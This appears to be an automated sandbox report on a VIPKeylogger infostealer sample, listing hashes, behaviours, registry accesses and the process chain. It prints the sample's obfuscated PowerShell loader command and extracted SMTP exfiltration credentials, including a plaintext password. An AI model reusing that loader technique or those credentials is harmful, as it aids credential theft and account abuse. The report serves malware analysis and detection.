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Analysis
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max time kernel
150s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
27/11/2024, 03:02
Static task
static1
Behavioral task
behavioral1
Sample
bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c.exe
Resource
win10v2004-20241007-en
General
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Target
bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c.exe
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Size
900KB
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MD5
1e4a711ecbfcd10f63990b50edbf0692
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SHA1
62f19187d9eba5260aa9d1b5753308de1a2ef392
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SHA256
bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c
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SHA512
3bff0107b8d0c5eaf0bfbe1336675cd38027f89daf7a58a11582f09861cd058d4f972f081b3bc971c12300526213307d7fef692e4b9f4bd85ba9bf3fac92aa55
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SSDEEP
12288:cXcxx2HCKsVidjk5m7eptd2naPiLutNS3haM78EQMZxmfemFXHW65zuYGTm4zeH:cX22iHKkSuE3l8Et2F2YuriH
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
smtp.ionos.es - Port:
587 - Username:
[email protected] - Password:
Nachete#2018 - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
flow pid Process 33 4364 msiexec.exe 35 4364 msiexec.exe 37 4364 msiexec.exe 39 4364 msiexec.exe 41 4364 msiexec.exe 46 4364 msiexec.exe 48 4364 msiexec.exe 52 4364 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 32 drive.google.com 33 drive.google.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 45 checkip.dyndns.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4364 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 1580 powershell.exe 4364 msiexec.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\huzzah.lnk bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c.exe -
pid Process 1580 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 1580 powershell.exe 1580 powershell.exe 1580 powershell.exe 1580 powershell.exe 1580 powershell.exe 1580 powershell.exe 1580 powershell.exe 4364 msiexec.exe 4364 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 1580 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 1580 powershell.exe Token: SeIncreaseQuotaPrivilege 1580 powershell.exe Token: SeSecurityPrivilege 1580 powershell.exe Token: SeTakeOwnershipPrivilege 1580 powershell.exe Token: SeLoadDriverPrivilege 1580 powershell.exe Token: SeSystemProfilePrivilege 1580 powershell.exe Token: SeSystemtimePrivilege 1580 powershell.exe Token: SeProfSingleProcessPrivilege 1580 powershell.exe Token: SeIncBasePriorityPrivilege 1580 powershell.exe Token: SeCreatePagefilePrivilege 1580 powershell.exe Token: SeBackupPrivilege 1580 powershell.exe Token: SeRestorePrivilege 1580 powershell.exe Token: SeShutdownPrivilege 1580 powershell.exe Token: SeDebugPrivilege 1580 powershell.exe Token: SeSystemEnvironmentPrivilege 1580 powershell.exe Token: SeRemoteShutdownPrivilege 1580 powershell.exe Token: SeUndockPrivilege 1580 powershell.exe Token: SeManageVolumePrivilege 1580 powershell.exe Token: 33 1580 powershell.exe Token: 34 1580 powershell.exe Token: 35 1580 powershell.exe Token: 36 1580 powershell.exe Token: SeDebugPrivilege 4364 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 1364 wrote to memory of 1580 1364 bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c.exe 83 PID 1364 wrote to memory of 1580 1364 bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c.exe 83 PID 1364 wrote to memory of 1580 1364 bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c.exe 83 PID 1580 wrote to memory of 4364 1580 powershell.exe 97 PID 1580 wrote to memory of 4364 1580 powershell.exe 97 PID 1580 wrote to memory of 4364 1580 powershell.exe 97 PID 1580 wrote to memory of 4364 1580 powershell.exe 97 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c.exe"C:\Users\Admin\AppData\Local\Temp\bf4b5243f61194359db36f52a6015e50ceb490b140ee986134fff4a13432c82c.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1364 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Carraways=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\interpellant\stimulere\Chemosis\Boligtilsyns.Ove';$Sprogten=$Carraways.SubString(50535,3);.$Sprogten($Carraways)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1580 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4364
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
76KB
MD5d0cc8701e797190b5bd9080582a4719a
SHA19a6cbebc33e66574c0260c4dfaecf4860ba74b14
SHA256a70deb41b76a2e4c8e503c7e35098605ad3d8a6a0607ce3461cda884b7446482
SHA512b0b9e00dd1579966b5b40cf8bdd2f12cb41031a97617dbd3eaa625e8b0f78533091025f3cce1e14bb708d8ea20812c2e5067ba852f674e7ae42a11488050c2e6
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Filesize
307KB
MD5ad726728a3878f89c5d7d0e28b919144
SHA1683f9278eb8c91224926b3e16af9a324885afbfa
SHA2566b51fce1ab49bc7f471df817f10b3f2d71aa1545c8529a7338766fa4a1c1c095
SHA51246773b723186eb2dde1c6f02262e932cc3051a4aa96c31993f26e7a51e893d3205f808fb6e8de8085895263c0327bbffec8c69a28e66718f366d318b53002712